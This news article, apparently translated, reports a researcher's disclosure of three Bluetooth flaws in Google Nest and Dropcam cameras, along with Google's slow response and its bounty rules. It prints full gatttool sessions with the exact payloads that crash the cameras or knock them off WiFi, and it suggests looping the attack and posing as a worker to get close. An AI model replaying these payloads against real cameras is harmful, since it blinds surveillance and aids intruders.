Advanced Nest surveillance cameras go off easily via Bluetooth

Artificial intelligence to detect people. Google AI outdoor video camera Nest Outdoor Cam does not save from easy hacking.

The most high-tech protection is not always the best. By adding complexity to the system, you add new attack vectors. It happens that it is easier for hijackers to hijack the most expensive and modern cars with radio keys , than old kondovye "pieces of iron". Approximately the same with security in other areas.

The next victim of hackers was the fancy Google Nest surveillance cameras - the models of Dropcam, Dropcam Pro, Nest Cam Outdoor and Nest Cam. The code for their hacking has already been published on GitHub , and Google has not yet released patches. You can practice disabling surveillance cameras today (their own, of course).

Published information about the three vulnerabilities, all of them provide for connecting to the camera via Bluetooth 4.0 LE (according to specifications, the radius of action is about 100 m). Bluetooth always works in these cameras, that is, it is impossible to turn it off even to the owner.
')
The first vulnerability is a buffer overflow using the SSID parameter via Bluetooth. To cause a buffer overflow, you need to try to set a new SSID parameter with incorrect characteristics on the camera.

Here is an example of connecting to the camera and setting the SSID to a length of 1 and 16 bytes at the same time.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.

As a result, the camera turns off, reboots after an error, and returns to its normal operating state.

The second vulnerability is similar to the first one, only here a buffer overflow is caused by sending a password of the wrong length (in this case, three bytes and one byte). The result is the same - the camera reboots after an error and returns to a working state.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.

The third vulnerability is more interesting. It allows you to temporarily disable the camera from the WiFi-network, giving it a new SSID for the connection. Local video is not available in these cameras, so the camera transmits everything over WiFi - the entire archive is stored in the cloud service. Accordingly, at the time of disconnection from the network video will not be saved. It takes about 60-90 seconds to get back into service after such a hack and resume video recording. In principle, this is not such a big interval, but the hack can be looped for the required period of time.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>

Note that in all examples you need to know its MAC address to connect to the camera (18: B4: 30: 5D: 00: B8). It is simply written on the camera body, so in practice, for hacking, you will first have to approach the camera at a sufficiently close distance. For example, under the guise of a lawnmower, master of repair work or a friend of a future victim.


In one of the photos of the Nest Outdoor Cam, you can see that the MAC address is written on the camera body (a line above the QR code). The developers prudently hid it behind the power cable

Three vulnerabilities in the cameras are present in the latest camera firmware (5.2.1). Security Specialist Jason Doyle found them last fall. He says he reported to Google on October 26, 2016, so now it seems like the disclosure period has come for everyone. This is standard practice if the manufacturer is not in a hurry or does not have time to fix bugs in a reasonable time. In this case, almost five months have passed.

Google usually pays researchers a fee for finding vulnerabilities in their products. Google's Vulnerability Reward also applies to Nest camcorders. True, Nest is in the third most prestigious category, where the maximum reward is only $ 5000 (for the remaining products - $ 31 337). In addition, in this third category is a special note about the six-month period of silence. Although Google itself recently uncovered actively exploited 0day in Windows and Edge in 90 days ( 1 , 2 ).

Jason Doyle could not stand the six-month period (October 26 - March 17), so he could no longer claim the award. Unlike the usual practice, Google did not notify the researcher about the approximate timing of the closure of the vulnerability and did not maintain correspondence with it. At the same time, a source familiar with the situation told The Register that the patch was almost ready, so Jason didn’t have much to do with his reward.

By the way, some other similar surveillance camcorders turn off Bluetooth when a WiFi connection is established, so they won't be able to be hacked in this way (for example, Logitech Circle). Google could also do this simple trick to get rid of these types of vulnerabilities.